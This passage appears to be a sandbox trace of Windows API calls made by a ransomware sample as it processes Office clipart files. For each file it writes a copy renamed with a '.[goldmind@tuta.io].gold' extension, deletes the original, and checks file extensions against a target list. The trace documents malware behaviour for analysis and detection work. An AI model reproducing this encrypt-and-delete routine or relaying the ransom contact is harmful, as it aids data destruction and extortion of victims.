dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0095.315] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.315] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0095.316] GetLastError () returned 0x0 [0095.316] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x439c, lpOverlapped=0x0) returned 1 [0095.358] WriteFile (in: hFile=0x33c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x43a0, lpOverlapped=0x0) returned 1 [0095.359] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.359] WriteFile (in: hFile=0x33c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.359] SetEndOfFile (hFile=0x33c) returned 1 [0095.360] CloseHandle (hObject=0x33c) returned 1 [0095.360] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.360] SetEndOfFile (hFile=0x38c) returned 1 [0095.361] CloseHandle (hObject=0x38c) returned 1 [0095.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0095.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.362] lstrlenW (lpString=".doc") returned 4 [0095.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString=".docx") returned 5 [0095.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.363] lstrlenW (lpString=".pdf") returned 4 [0095.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString=".xls") returned 4 [0095.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.363] lstrlenW (lpString=".xlsx") returned 5 [0095.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.363] lstrlenW (lpString=".ppt") returned 4 [0095.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.363] lstrlenW (lpString=".zip") returned 4 [0095.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.363] lstrlenW (lpString=".rar") returned 4 [0095.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString=".bz2") returned 4 [0095.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString=".7z") returned 3 [0095.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.363] lstrlenW (lpString=".dbf") returned 4 [0095.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.363] lstrlenW (lpString=".1cd") returned 4 [0095.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.363] lstrlenW (lpString=".jpg") returned 4 [0095.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.363] lstrlenW (lpString=".doc") returned 4 [0095.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString=".docx") returned 5 [0095.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.363] lstrlenW (lpString=".pdf") returned 4 [0095.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString=".xls") returned 4 [0095.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.363] lstrlenW (lpString=".xlsx") returned 5 [0095.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.363] lstrlenW (lpString=".ppt") returned 4 [0095.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.363] lstrlenW (lpString=".zip") returned 4 [0095.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.363] lstrlenW (lpString=".rar") returned 4 [0095.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString=".bz2") returned 4 [0095.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.363] lstrlenW (lpString=".7z") returned 3 [0095.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.363] lstrlenW (lpString=".dbf") returned 4 [0095.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.364] lstrlenW (lpString=".1cd") returned 4 [0095.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0095.364] lstrlenW (lpString=".jpg") returned 4 [0095.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.364] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.364] lstrlenW (lpString="EN00902_.WMF") returned 12 [0095.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.380] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=7944) returned 1 [0095.380] CloseHandle (hObject=0x3c4) returned 1 [0095.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20 [0095.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0095.405] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.406] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.406] GetLastError () returned 0x0 [0095.406] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1f08, lpOverlapped=0x0) returned 1 [0095.530] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1f10, lpOverlapped=0x0) returned 1 [0095.530] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.530] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.531] SetEndOfFile (hFile=0x3c8) returned 1 [0095.531] CloseHandle (hObject=0x3c8) returned 1 [0095.531] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.531] SetEndOfFile (hFile=0x230) returned 1 [0095.532] CloseHandle (hObject=0x230) returned 1 [0095.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0095.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.533] lstrlenW (lpString=".doc") returned 4 [0095.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.533] lstrlenW (lpString=".docx") returned 5 [0095.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.533] lstrlenW (lpString=".pdf") returned 4 [0095.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.533] lstrlenW (lpString=".xls") returned 4 [0095.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.534] lstrlenW (lpString=".xlsx") returned 5 [0095.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.534] lstrlenW (lpString=".ppt") returned 4 [0095.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.534] lstrlenW (lpString=".zip") returned 4 [0095.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.534] lstrlenW (lpString=".rar") returned 4 [0095.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString=".bz2") returned 4 [0095.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString=".7z") returned 3 [0095.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.534] lstrlenW (lpString=".dbf") returned 4 [0095.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.534] lstrlenW (lpString=".1cd") returned 4 [0095.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.534] lstrlenW (lpString=".jpg") returned 4 [0095.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.534] lstrlenW (lpString=".doc") returned 4 [0095.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString=".docx") returned 5 [0095.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.534] lstrlenW (lpString=".pdf") returned 4 [0095.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString=".xls") returned 4 [0095.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.534] lstrlenW (lpString=".xlsx") returned 5 [0095.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.534] lstrlenW (lpString=".ppt") returned 4 [0095.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.534] lstrlenW (lpString=".zip") returned 4 [0095.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.534] lstrlenW (lpString=".rar") returned 4 [0095.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString=".bz2") returned 4 [0095.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString=".7z") returned 3 [0095.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.534] lstrlenW (lpString=".dbf") returned 4 [0095.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.534] lstrlenW (lpString=".1cd") returned 4 [0095.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0095.534] lstrlenW (lpString=".jpg") returned 4 [0095.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.535] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.535] lstrlenW (lpString="FD00090_.WMF") returned 12 [0095.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0095.535] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=14194) returned 1 [0095.535] CloseHandle (hObject=0x230) returned 1 [0095.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x20 [0095.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0095.535] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.536] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.536] GetLastError () returned 0x0 [0095.536] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x3772, lpOverlapped=0x0) returned 1 [0095.684] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x3780, lpOverlapped=0x0) returned 1 [0095.685] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.685] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.685] SetEndOfFile (hFile=0x3c8) returned 1 [0095.685] CloseHandle (hObject=0x3c8) returned 1 [0095.685] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.686] SetEndOfFile (hFile=0x230) returned 1 [0095.688] CloseHandle (hObject=0x230) returned 1 [0095.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0095.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.737] lstrlenW (lpString=".doc") returned 4 [0095.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.737] lstrlenW (lpString=".docx") returned 5 [0095.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.737] lstrlenW (lpString=".pdf") returned 4 [0095.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.737] lstrlenW (lpString=".xls") returned 4 [0095.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.737] lstrlenW (lpString=".xlsx") returned 5 [0095.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.737] lstrlenW (lpString=".ppt") returned 4 [0095.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.737] lstrlenW (lpString=".zip") returned 4 [0095.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.737] lstrlenW (lpString=".rar") returned 4 [0095.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.737] lstrlenW (lpString=".bz2") returned 4 [0095.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.737] lstrlenW (lpString=".7z") returned 3 [0095.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.737] lstrlenW (lpString=".dbf") returned 4 [0095.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.737] lstrlenW (lpString=".1cd") returned 4 [0095.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.737] lstrlenW (lpString=".jpg") returned 4 [0095.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.737] lstrlenW (lpString=".doc") returned 4 [0095.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.738] lstrlenW (lpString=".docx") returned 5 [0095.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.738] lstrlenW (lpString=".pdf") returned 4 [0095.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.738] lstrlenW (lpString=".xls") returned 4 [0095.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.738] lstrlenW (lpString=".xlsx") returned 5 [0095.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.738] lstrlenW (lpString=".ppt") returned 4 [0095.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.738] lstrlenW (lpString=".zip") returned 4 [0095.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.738] lstrlenW (lpString=".rar") returned 4 [0095.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.738] lstrlenW (lpString=".bz2") returned 4 [0095.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.738] lstrlenW (lpString=".7z") returned 3 [0095.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.738] lstrlenW (lpString=".dbf") returned 4 [0095.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.738] lstrlenW (lpString=".1cd") returned 4 [0095.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0095.738] lstrlenW (lpString=".jpg") returned 4 [0095.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.738] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.738] lstrlenW (lpString="FD00297_.WMF") returned 12 [0095.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.745] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=18194) returned 1 [0095.745] CloseHandle (hObject=0x190) returned 1 [0095.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x20 [0095.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.788] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.788] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 